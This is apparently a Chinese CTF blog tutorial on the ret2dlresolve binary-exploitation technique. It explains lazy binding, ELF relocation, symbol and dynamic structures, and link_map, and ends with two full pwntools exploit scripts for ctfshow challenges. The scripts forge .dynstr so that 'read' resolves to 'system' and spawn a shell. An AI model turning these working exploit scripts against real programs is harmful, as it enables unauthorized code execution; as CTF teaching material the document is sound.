ret2dlresolve超详解

ret2dlresovle攻击原理

ret2dlresovle攻击的本质就是在于程序在动态链接时篡改相关结构体,让程序解析到错误的函数,进而达成攻击

Lazy Binding

当程序在第一次调用某个函数时,会调用_dl_runtime_resolve函数从libc中获取这个函数的真实地址

那么具体是怎么实现的呢?

动态链接的程序调用函数时会先call的时一个函数的plt表,如read@plt,执行read@plt表里的第一条指令,read@plt表里的第一条指令是jmp到got表中,执行got表里存放的地址所指向的指令,got表默认存放的是read@plt中下一条指令的地址,通过_dl_runtime_resolve函数解析libc中的真实地址后会将函数的真实地址填入到该函数的got表中

_dl_runtime_resolve函数有两个参数,一个是reloc_index(reloc_index参数标识了具体要导入哪个函数),一个是link_map的地址

这里和普通函数调用方式不一样,会先push一个reloc_index,然后跳转到一个地址,push link_map的地址

然后再跳转到_dl_runtime_resolve,我们会发现dl_runtime_resolve函数最终调用的是_dl_fixup函数

也就是最终到libc真实地址的函数

在深入了解_dl_runtime_resolve函数是怎么寻找到真实地址之前我们需要先了解几个基本结构体

Elf_Rel结构体

Elf_Rel实例化的每一个项组成了.rel.plt节

ELF 文件中的 .rel.plt 是一个 重定位表(Relocation Table),用于存储 PLT(Procedure Linkage Table) 相关的重定位信息,主要用于延迟绑定(Lazy Binding)。

我们只关心Elf_Rel结构体的两个域,一个是r_offset一个是r_info,r_offset是用于告诉解析真实地址的函数解析后的地址往哪里写,r_info则是当前项所代表的函数在.dynsym节中的偏移,下面放出Elf_Rel结构体的代码

1
2
3
4
5
typedef struct {
Elf32_Addr r_offset; /* 需要进行重定位的地址 */
Elf32_Word r_info; /* 符号表索引和重定位类型 */
} Elf32_Rel;

Elf_Sym结构体

符号表(Symbol Table)用于记录程序中所有函数和全局变量的信息。每个符号在符号表中对应一个条目,这些条目由 Elf32_SymElf64_Sym 结构体表示

我们在ELF32_Sym主要关心st_name,st_name是当前项所代表的函数在.dynstr节中的偏移

1
2
3
4
5
6
7
8
9
typedef struct {
Elf32_Word st_name; /* 符号名在字符串表中的下标 */
Elf32_Addr st_value; /* 符号对应的值(地址或偏移量) */
Elf32_Word st_size; /* 符号的大小 */
unsigned char st_info; /* 符号类型和绑定信息 */
unsigned char st_other;/* 其他信息(通常未使用,值为 0) */
Elf32_Half st_shndx; /* 符号所在的节在节头表中的索引 */
} Elf32_Sym;

dynstr节

在动态链接过程中,.dynstr 节与 .dynsym 节协同工作。.dynsym 节保存需要动态链接的符号表,每个符号都有一个 st_name 字段,该字段是一个索引,指向 .dynstr 节中相应符号名称的起始位置

.dynstr节是用来存放动态链接中所需解析的函数名的

link_map是描述已加载的共享对象的结构体,采用双链表管理,该数据结构保存在ld.so.bss段中。我们主要关注其中几个域

  1. l_addr:共享对象的加载基址;

  2. l_nextl_prev:管理link_map的双链表指针;

  3. l_info:保存Elfxx_Dyn结构体指针的列表,用来寻找各节基址;如l_info[DT_STRTAB]指向保存着函数解析字符串表基址的Elfxx_Dyn结构体。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    /* 描述已加载共享对象的结构体。`l_next` 和 `l_prev` 成员
    形成了在启动时加载的所有共享对象的链表。
    这些数据结构存在于运行时动态链接器使用的空间中;
    修改它们可能会导致严重后果。
    如果有必要,这个数据结构在未来可能会改变。
    用户级程序必须避免定义此类型的对象。 */
    struct link_map
    {
    /* 以下几个成员是与调试器协议的一部分。
    这与 SVR4 中使用的格式相同。 */
    ElfW(Addr) l_addr; /* ELF 文件中的地址与内存中地址之间的差异。 */
    char *l_name; /* 对象文件的绝对路径名。 */
    ElfW(Dyn) *l_ld; /* 共享对象的动态段。 */
    struct link_map *l_next, *l_prev; /* 已加载对象的链表。 */

    /* 以下所有成员仅供动态链接器内部使用。
    它们可能会在没有通知的情况下更改。 */

    /* 当在多个命名空间中使用时,这个元素与指向相同类型的副本的指针不同。 */
    struct link_map *l_real;

    /* 此 link map 所属的命名空间的编号。 */
    Lmid_t l_ns;

    struct libname_list *l_libname;

    /* 动态段信息数组。 */
    ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM
    + DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];

    const ElfW(Phdr) *l_phdr; /* 指向内存中程序头表的指针。 */
    ElfW(Addr) l_entry; /* 入口点位置。 */
    ElfW(Half) l_phnum; /* 程序头表条目数量。 */
    ElfW(Half) l_ldnum; /* 动态段条目数量。 */
    };

Elfxx_Dyn结构体

Elf(32/64)_Dyn结构体存放在.dynamic节中,说具体些就是键值对,关键字是各个动态段的标识,值则是各个动态段的对应的基址,包括之前说的的.ret.plt.dynsymdynstr节等。其主要作用就是在解析函数地址时使用这些键值对来找到各个动态段的基址,以确定数据条目的位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
typedef struct
{
Elf32_Sword d_tag; /* Dynamic entry type */
union
{
Elf32_Word d_val; /* Integer value */
Elf32_Addr d_ptr; /* Entry Address */
} d_un;
} Elf32_Dyn;

typedef struct
{
Elf64_Sxword d_tag; /* Dynamic entry type */
union
{
Elf64_Xword d_val; /* Integer value */
Elf64_Addr d_ptr; /* Address value */
} d_un;
} Elf64_Dyn;

d_tag定义如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
/* Legal values for d_tag (dynamic entry type).  */
#define DT_NULL 0 /* Marks end of dynamic section */
#define DT_NEEDED 1 /* Name of needed library */
#define DT_PLTRELSZ 2 /* Size in bytes of PLT relocs */
#define DT_PLTGOT 3 /* Processor defined value */
#define DT_HASH 4 /* Address of symbol hash table */
#define DT_STRTAB 5 /* Address of string table */
#define DT_SYMTAB 6 /* Address of symbol table */
#define DT_RELA 7 /* Address of Rela relocs */
#define DT_RELASZ 8 /* Total size of Rela relocs */
#define DT_RELAENT 9 /* Size of one Rela reloc */
#define DT_STRSZ 10 /* Size of string table */
#define DT_SYMENT 11 /* Size of one symbol table entry */
#define DT_INIT 12 /* Address of init function */
#define DT_FINI 13 /* Address of termination function */
#define DT_SONAME 14 /* Name of shared object */
#define DT_RPATH 15 /* Library search path (deprecated) */
#define DT_SYMBOLIC 16 /* Start symbol search here */
#define DT_REL 17 /* Address of Rel relocs */
#define DT_RELSZ 18 /* Total size of Rel relocs */
#define DT_RELENT 19 /* Size of one Rel reloc */
#define DT_PLTREL 20 /* Type of reloc in PLT */
#define DT_DEBUG 21 /* For debugging; unspecified */
#define DT_TEXTREL 22 /* Reloc might modify .text */
#define DT_JMPREL 23 /* Address of PLT relocs */
#define DT_BIND_NOW 24 /* Process relocations of object */
#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */
#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */
#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */
#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */
#define DT_RUNPATH 29 /* Library search path */
#define DT_FLAGS 30 /* Flags for the object being loaded */
#define DT_ENCODING 32 /* Start of encoded range */
#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/
#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */
#define DT_SYMTAB_SHNDX 34 /* Address of SYMTAB_SHNDX section */
#define DT_NUM 35 /* Number used */

我们需要关心的也就是

1
2
3
#define DT_STRTAB              5                /* Address of string table */
#define DT_SYMTAB 6 /* Address of symbol table */
#define DT_JMPREL 23 /* Address of PLT relocs */

分别存放了dynstr节、dynsym节、.rel.plt节的基址

那么我们各个节在内存中的具体结构如图

1
2
3
4
5
6
7
8
9
10
11
12
13
===============================================
| Related sections | Structure |
===============================================
| .dynamic | Elf_Dyn entry |
+-----------------+-----------+---------------+
| Functions | Variables | --- |
+-----------------+-----------+---------------+
| .ret.plt | .ret.dyn | Elf_Rel entry |
+-----------------+-----------+---------------+
| .dynsym | .dynsym | Elf_Sym entry |
+-----------------+-----------+---------------+
| .dynstr | .dynstr | Strings |
+-----------------+-----------+---------------+

大概解析流程

下面直接放张图方便理解

动态调式查看具体解析流程

直接这样说肯定不足以深入理解的,所以接下来会通过动态调式来查看具体解析流程

不同的glibc版本l_info可能不同,网上并没有找到一个准确的偏移

但是通过观察link_map结构体不难发现l_info之前的成员有8个

1
2
3
4
5
6
7
8
l_addr
l_name
l_ld
l_next
l_prev
l_real
l_ns
l_libname

那么通常情况下偏移应该就是0x20(调式环境为32位,如果是64位偏移通常应该是0x40)

知道了l_info的地址,就可以通过相关的d_tag的地址找到我们需要的段的基地址了

1
2
3
#define DT_STRTAB              5                /* Address of string table */
#define DT_SYMTAB 6 /* Address of symbol table */
#define DT_JMPREL 23 /* Address of PLT relocs */

确定动态链接所需的几个节的地址

然后我们通过d_tag找到对应段的基地址

这里给出一个公式

1
2
3
DT_xxx_addr = ptr [l_info_addr + lenth * (offset - 1)]
lenth为字长
offset位DT_xxx对应于l_info的条目
dynstr_addr
1
DT_STRTAB_addr = ptr [0xf7ffda44 + 0x4 * (5 - 1)] = 0x8049804

我们可以发现动态调试和我们在IDA里看到的却是是一样的

dynstr的地址是0x0804824C

1
DT_STRTAB_addr = ptr [l_info_addr + 0x4 * (5-1)]
dynsym_addr
1
DT_SYMTAB_addr = ptr [0xf7ffda44 + 0x4 * (6 - 1)] = 0x804980c

dynsym的地址是0x080481AC

.rel.plt_addr
1
DT_JMPREL_addr = ptr [0xf7ffda44 + 0x4 * (23 - 1)] = 0x8049844

.rel.plt的地址是0x8048304

通过read函数来观察是怎么找到符号名称的

read函数的reloc_index是8

1
r_info = ptr [.rel.plt_addr + reloc_index + 0x8] = 0x207
1
st_name = ptr [dynsym_addr + (r_info>>8) * 0x10] = 0x27
1
read_str = ptr [.dynstr_addr + st_name] = /* 'read' */

ret2dlresolve之No-Relro

32位下No-Relro

以ctfshow中的pwn82为例

进入到ctfshow函数中,发现有溢出点

因为是No-Relro所以.dynamic可写,那么我们直接将.dynamic中的DT_STRTAB的值给改成我们恶意伪造在bss段上的.dynstr节(将任意函数名替换成system)的地址就可以直接进行攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

sh = remote('pwn.challenge.ctf.show',28268)
#sh = process('./pwn1')
elf = ELF('./pwn1')


#gdb.attach(sh, 'b *0x8048513\nc')
pop_3 = 0x08048629
read_plt_next = 0x08048376
bss_addr = 0x080498E0

DT_STRTAB_addr = 0x08049808
dynstr = elf.get_section_by_name('.dynstr').data()
fake_dynstr = dynstr.replace(b'read',b'system')

payload = cyclic(0x6C + 0x4) + p32(elf.sym['read']) + p32(pop_3) + p32(0) + p32(DT_STRTAB_addr) + p32(4)
payload += p32(elf.sym['read']) + p32(pop_3) + p32(0) + p32(bss_addr + 0x100) + p32(len(b'/bin/sh\x00'))
payload += p32(elf.sym['read']) + p32(pop_3) + p32(0) + p32(bss_addr) + p32(len(fake_dynstr))
payload += p32(read_plt_next) + p32(0xdeadbeef) + p32(bss_addr + 0x100)
sh.sendlineafter('Welcome to CTFshowPWN!\n',payload)
sh.send(p32(bss_addr))
sh.send(b'/bin/sh\x00')
sh.send(fake_dynstr)

sh.interactive()

64位下No-Relro

以ctfshow Pwn84为例,由于是64位所以需要寄存器传参,但是由于没有合适的gadget,这里采用ret2csu

而且只能溢出0x30个字节,显然不够用,所以还要先进行一次Stack Pivot

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

elf = ELF('./pwn2')
sh = process('./pwn2')
#gdb.attach(sh, 'b *0x40063B\nc')
#sh = remote('pwn.challenge.ctf.show', 28161)
DT_STRTAB_addr = 0x600990
read_plt_next = 0x400516
pop_rdi = 0x400773
payload = cyclic(0x70 + 0x8)
csu_front_addr = 0x400750
csu_end_addr = 0x40076A
dynstr = elf.get_section_by_name('.dynstr').data()
fake_dynstr = dynstr.replace(b'read',b'system')
pivot_addr = elf.bss(0x100) - 0x8
pop_rbp_ret = 0x400588
leave_ret = 0x40063c
ret_addr = 0x4004c6
def ret2csu(fuction, rdi, rsi, rdx):
payload = p64(csu_end_addr)
payload += p64(0)
payload += p64(1)
payload += p64(fuction)
payload += p64(rdi)
payload += p64(rsi)
payload += p64(rdx)
payload += p64(csu_front_addr)
return payload
def ret2csu_end():
return cyclic(0x38)

payload = cyclic(0x70 + 0x8)
payload += ret2csu(elf.got['read'],0,elf.bss(0x100),0x150)
payload += ret2csu_end()
payload += p64(ret_addr) + p64(0x40063E)
sh.sendafter('Welcome to CTFshowPWN!\n',payload)

payload = ret2csu(elf.got['read'],0,elf.bss(0x300),len(fake_dynstr))
payload += ret2csu(elf.got['read'],0,DT_STRTAB_addr,0x8)
payload += ret2csu(elf.got['read'],0,elf.bss(0x250),len(b'/bin/sh\x00'))
payload += ret2csu_end()
payload += p64(ret_addr) + p64(pop_rdi) + p64(elf.bss(0x250)) + p64(read_plt_next) + p64(0xdeadbeef)
sh.send(payload)

payload = cyclic(0x70) + p64(pivot_addr) + p64(leave_ret)
sh.sendafter('Welcome to CTFshowPWN!\n',payload)

sh.send(fake_dynstr)
sh.send(p64(elf.bss(0x300)))
sh.send(b'/bin/sh\x00')
sh.interactive()